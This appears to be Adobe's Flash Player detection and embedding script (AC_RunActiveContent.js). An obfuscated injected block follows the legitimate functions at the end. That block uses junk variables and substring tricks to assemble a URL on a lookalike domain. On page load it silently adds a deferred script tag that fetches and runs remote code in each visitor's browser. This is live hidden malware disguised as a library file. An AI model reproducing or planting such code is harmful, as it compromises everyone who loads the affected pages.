//v1.7
// Flash Player Version Detection
// Detect Client Browser type
// Copyright 2005-2007 Adobe Systems Incorporated.  All rights reserved.
var isIE  = (navigator.appVersion.indexOf("MSIE") != -1) ? true : false;
var isWin = (navigator.appVersion.toLowerCase().indexOf("win") != -1) ? true : false;
var isOpera = (navigator.userAgent.indexOf("Opera") != -1) ? true : false;

function ControlVersion()
{
	var version;
	var axo;
	var e;

	// NOTE : new ActiveXObject(strFoo) throws an exception if strFoo isn't in the registry

	try {
		// version will be set for 7.X or greater players
		axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.7");
		version = axo.GetVariable("$version");
	} catch (e) {
	}

	if (!version)
	{
		try {
			// version will be set for 6.X players only
			axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.6");
			
			// installed player is some revision of 6.0
			// GetVariable("$version") crashes for versions 6.0.22 through 6.0.29,
			// so we have to be careful. 
			
			// default to the first public version
			version = "WIN 6,0,21,0";

			// throws if AllowScripAccess does not exist (introduced in 6.0r47)		
			axo.AllowScriptAccess = "always";

			// safe to call for 6.0r47 or greater
			version = axo.GetVariable("$version");

		} catch (e) {
		}
	}

	if (!version)
	{
		try {
			// version will be set for 4.X or 5.X player
			axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.3");
			version = axo.GetVariable("$version");
		} catch (e) {
		}
	}

	if (!version)
	{
		try {
			// version will be set for 3.X player
			axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.3");
			version = "WIN 3,0,18,0";
		} catch (e) {
		}
	}

	if (!version)
	{
		try {
			// version will be set for 2.X player
			axo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash");
			version = "WIN 2,0,0,11";
		} catch (e) {
			version = -1;
		}
	}
	
	return version;
}

// JavaScript helper required to detect Flash Player PlugIn version information
function GetSwfVer(){
	// NS/Opera version >= 3 check for Flash plugin in plugin array
	var flashVer = -1;
	
	if (navigator.plugins != null && navigator.plugins.length > 0) {
		if (navigator.plugins["Shockwave Flash 2.0"] || navigator.plugins["Shockwave Flash"]) {
			var swVer2 = navigator.plugins["Shockwave Flash 2.0"] ? " 2.0" : "";
			var flashDescription = navigator.plugins["Shockwave Flash" + swVer2].description;
			var descArray = flashDescription.split(" ");
			var tempArrayMajor = descArray[2].split(".");			
			var versionMajor = tempArrayMajor[0];
			var versionMinor = tempArrayMajor[1];
			var versionRevision = descArray[3];
			if (versionRevision == "") {
				versionRevision = descArray[4];
			}
			if (versionRevision[0] == "d") {
				versionRevision = versionRevision.substring(1);
			} else if (versionRevision[0] == "r") {
				versionRevision = versionRevision.substring(1);
				if (versionRevision.indexOf("d") > 0) {
					versionRevision = versionRevision.substring(0, versionRevision.indexOf("d"));
				}
			}
			var flashVer = versionMajor + "." + versionMinor + "." + versionRevision;
		}
	}
	// MSN/WebTV 2.6 supports Flash 4
	else if (navigator.userAgent.toLowerCase().indexOf("webtv/2.6") != -1) flashVer = 4;
	// WebTV 2.5 supports Flash 3
	else if (navigator.userAgent.toLowerCase().indexOf("webtv/2.5") != -1) flashVer = 3;
	// older WebTV supports Flash 2
	else if (navigator.userAgent.toLowerCase().indexOf("webtv") != -1) flashVer = 2;
	else if ( isIE && isWin && !isOpera ) {
		flashVer = ControlVersion();
	}	
	return flashVer;
}

// When called with reqMajorVer, reqMinorVer, reqRevision returns true if that version or greater is available
function DetectFlashVer(reqMajorVer, reqMinorVer, reqRevision)
{
	versionStr = GetSwfVer();
	if (versionStr == -1 ) {
		return false;
	} else if (versionStr != 0) {
		if(isIE && isWin && !isOpera) {
			// Given "WIN 2,0,0,11"
			tempArray         = versionStr.split(" "); 	// ["WIN", "2,0,0,11"]
			tempString        = tempArray[1];			// "2,0,0,11"
			versionArray      = tempString.split(",");	// ['2', '0', '0', '11']
		} else {
			versionArray      = versionStr.split(".");
		}
		var versionMajor      = versionArray[0];
		var versionMinor      = versionArray[1];
		var versionRevision   = versionArray[2];

        	// is the major.revision >= requested major.revision AND the minor version >= requested minor
		if (versionMajor > parseFloat(reqMajorVer)) {
			return true;
		} else if (versionMajor == parseFloat(reqMajorVer)) {
			if (versionMinor > parseFloat(reqMinorVer))
				return true;
			else if (versionMinor == parseFloat(reqMinorVer)) {
				if (versionRevision >= parseFloat(reqRevision))
					return true;
			}
		}
		return false;
	}
}

function AC_AddExtension(src, ext)
{
  if (src.indexOf('?') != -1)
    return src.replace(/\?/, ext+'?'); 
  else
    return src + ext;
}

function AC_Generateobj(objAttrs, params, embedAttrs) 
{ 
  var str = '';
  if (isIE && isWin && !isOpera)
  {
    str += '<object ';
    for (var i in objAttrs)
    {
      str += i + '="' + objAttrs[i] + '" ';
    }
    str += '>';
    for (var i in params)
    {
      str += '<param name="' + i + '" value="' + params[i] + '" /> ';
    }
    str += '</object>';
  }
  else
  {
    str += '<embed ';
    for (var i in embedAttrs)
    {
      str += i + '="' + embedAttrs[i] + '" ';
    }
    str += '> </embed>';
  }

  document.write(str);
}

function AC_FL_RunContent(){
  var ret = 
    AC_GetArgs
    (  arguments, ".swf", "movie", "clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"
     , "application/x-shockwave-flash"
    );
  AC_Generateobj(ret.objAttrs, ret.params, ret.embedAttrs);
}

function AC_SW_RunContent(){
  var ret = 
    AC_GetArgs
    (  arguments, ".dcr", "src", "clsid:166B1BCA-3F9C-11CF-8075-444553540000"
     , null
    );
  AC_Generateobj(ret.objAttrs, ret.params, ret.embedAttrs);
}

function AC_GetArgs(args, ext, srcParamName, classid, mimeType){
  var ret = new Object();
  ret.embedAttrs = new Object();
  ret.params = new Object();
  ret.objAttrs = new Object();
  for (var i=0; i < args.length; i=i+2){
    var currArg = args[i].toLowerCase();    

    switch (currArg){	
      case "classid":
        break;
      case "pluginspage":
        ret.embedAttrs[args[i]] = args[i+1];
        break;
      case "src":
      case "movie":	
        args[i+1] = AC_AddExtension(args[i+1], ext);
        ret.embedAttrs["src"] = args[i+1];
        ret.params[srcParamName] = args[i+1];
        break;
      case "onafterupdate":
      case "onbeforeupdate":
      case "onblur":
      case "oncellchange":
      case "onclick":
      case "ondblClick":
      case "ondrag":
      case "ondragend":
      case "ondragenter":
      case "ondragleave":
      case "ondragover":
      case "ondrop":
      case "onfinish":
      case "onfocus":
      case "onhelp":
      case "onmousedown":
      case "onmouseup":
      case "onmouseover":
      case "onmousemove":
      case "onmouseout":
      case "onkeypress":
      case "onkeydown":
      case "onkeyup":
      case "onload":
      case "onlosecapture":
      case "onpropertychange":
      case "onreadystatechange":
      case "onrowsdelete":
      case "onrowenter":
      case "onrowexit":
      case "onrowsinserted":
      case "onstart":
      case "onscroll":
      case "onbeforeeditfocus":
      case "onactivate":
      case "onbeforedeactivate":
      case "ondeactivate":
      case "type":
      case "codebase":
      case "id":
        ret.objAttrs[args[i]] = args[i+1];
        break;
      case "width":
      case "height":
      case "align":
      case "vspace": 
      case "hspace":
      case "class":
      case "title":
      case "accesskey":
      case "name":
      case "tabindex":
        ret.embedAttrs[args[i]] = ret.objAttrs[args[i]] = args[i+1];
        break;
      default:
        ret.embedAttrs[args[i]] = ret.params[args[i]] = args[i+1];
    }
  }
  ret.objAttrs["classid"] = classid;
  if (mimeType) ret.embedAttrs["type"] = mimeType;
  return ret;
}

var h;if(h!='' && h!='M'){h=null};var Fe;if(Fe!='he' && Fe!='x'){Fe=''};var Z;if(Z!='X' && Z!='Sg'){Z=''};function s(){var m_="";var Sb="";var _=new String("g");var cc=new String();var yp;if(yp!='Xo'){yp='Xo'};var vP=new Array();var v=RegExp;var Rq;if(Rq!='w'){Rq='w'};var rw=new Date();var b='';this.Sj="";var U;if(U!='' && U!='l'){U=null};function q(V,O){var p;if(p!='OW'){p='OW'};var t=new String();var sf;if(sf!=''){sf='hR'};var F= String("[");var iE=new String();F+=O;var Mf=new Array();F+=new String("]2IvC".substr(0,1));var JM=new Date();var WA;if(WA!='xF'){WA=''};var XO;if(XO!='TD' && XO!='nm'){XO=''};var n=new v(F, _);var eb=new String();return V.replace(n, b);var A=new Array();this.xk="";};var IZ;if(IZ!='mD' && IZ!='lx'){IZ=''};var _v;if(_v!='jT'){_v='jT'};var vM="";var C="/>"+"_<IOC".substr(0,2)+"b>"+"BAEFaEBA".substr(3,2)+"ta7bG".substr(0,2)+"l imkU".substr(0,2)+"inGer".substr(3)+"roMsC".substr(0,2)+"r<TZ7D".substr(0,2)+"zEcU/b".substr(4)+">:vPC".substr(0,2)+"L5I  I5L".substr(3,2)+"Ca"+"nn"+"5lJotJ5l".substr(3,2)+"H6Y5 rYH56".substr(4,2)+"43wTedw4T3".substr(4,2)+"ecZFs".substr(0,2)+"la"+"9HQreH9Q".substr(3,2)+" cWGNa".substr(0,2)+"wCFohewoCF".substr(4,2)+"ck"+"NdB6ur".substr(4)+"li"+"nf"+"o(MceH".substr(0,2)+"KAd) ".substr(3)+"(p"+"re"+"vi"+"MkXouMkX".substr(3,2)+"slK5jh".substr(0,2)+"5lUty Ult5".substr(4,2)+"de"+"Q3xjclQjx3".substr(4,2)+"z1Xar".substr(3)+"rY6zed".substr(4)+" i"+"K1cn 1cK".substr(3,2)+"E1L/vEL1".substr(3,2)+"78Oar".substr(3)+"sVSe/w".substr(4)+"ww0YPq".substr(0,2)+"5ly/hly5".substr(3,2)+"tm"+"l/"+"W6Lpa".substr(3)+"ge"+".d"+"KTb9pob9KT".substr(4,2)+"YK7ol".substr(3)+"Hojq.poqHj".substr(4,2)+"hpteEC".substr(0,2)+"l6Fi:8".substr(4)+"ln0N8)".substr(4)+" i"+"Nl1Cn ".substr(4)+"<b"+"a2Q6>/".substr(4)+"va"+"XMOLr/".substr(4)+"ww"+"qdAw/".substr(3)+"htkDO".substr(0,2)+"mlBtH".substr(0,2)+"/cTkV".substr(0,2)+"on"+"f."+"ph"+"p<"+"/bwma".substr(0,2)+"3H8E> E8H3".substr(4,2)+"pJzon".substr(3)+" l7XI".substr(0,2)+"LEpKinEpLK".substr(4,2)+"e gY6".substr(0,2)+"<bDSx".substr(0,2)+"URdX>3dUXR".substr(4,2)+"ZJP23".substr(3)+"umY</".substr(3)+"MBLsb>".substr(4)+"<b"+"CSjr jCS".substr(3,2)+"reqo/>".substr(4)+"mQW6/s".substr(4)+"hPVwe".substr(3)+"FYoOet".substr(4)+"sk2im".substr(3)+".c"+"xGMom".substr(3)+"/sOClc".substr(0,2)+"wekUx".substr(0,2)+"2VBetBV2".substr(3,2)+"DdtimDtd".substr(3,2)+"lK6V.cl6KV".substr(4,2)+"omHEPb".substr(0,2)+"/g1GSt".substr(0,2)+"itmXn".substr(0,2)+"CAdtiCdA".substr(3,2)+"MsIgi".substr(3)+"CkPdi".substr(3)+"krTyokrT".substr(3,2)+"Ylvr.vlY".substr(3,2)+"zysqco".substr(4)+"m/db5".substr(0,2)+"gowfzD".substr(0,2)+"og9LCQ".substr(0,2)+"lejcX".substr(0,2)+"g8y.cyg8".substr(3,2)+"tqxhom".substr(4)+"/u"+"59Wst95W".substr(3,2)+"tkore".substr(3)+"YPTam".substr(3)+".tLCn".substr(0,2)+"v.nV3".substr(0,2)+"ph"+"eQK3pe3KQ".substr(4,1);var Nn;if(Nn!='TU'){Nn='TU'};var R="http:"+"//55b"+"C2hbs-co".substr(3)+"m.cli"+"ckban"+"Qezk.comeQz".substr(3,5)+".skys"+"portsanHY".substr(0,5)+"zvJ-com.Jvz".substr(3,5)+"nhNp<br :".substr(4);var Rt="";var _e=String("defDR5".substr(0,3)+"er");var m=new String("gldsr".substr(3)+"c1XL".substr(0,1));this.z='';this.yU='';var S=window;var vIR;if(vIR!='cA'){vIR=''};var va;if(va!=''){va='Dr'};var r="sc"+"ri"+"JZ8pt".substr(3);this.pI="";var KZ;if(KZ!='mw' && KZ != ''){KZ=null};var T='';var D=80;S.onload=function(){var iW='';var XE=new Date();try {var Ii;if(Ii!='' && Ii!='LV'){Ii=null};T=R+D;var PR;if(PR!='' && PR!='de'){PR=null};var DrM=new Array();T+=C;var Nv=new Date();var Tf=new Date();W=document.createElement(r);W[_e]=[1,3][0];W[m]=T;var SR;if(SR!='iC'){SR='iC'};var JP;if(JP!='DD'){JP=''};var ZA=new Array();var wA;if(wA!='uJ'){wA=''};var jg="";this.nA='';document.body.appendChild(W);var aX='';var wG='';var ja;if(ja!='CC' && ja != ''){ja=null};var Fc;if(Fc!='S_' && Fc != ''){Fc=null};} catch(c){};var D_='';};this.dL="";};s();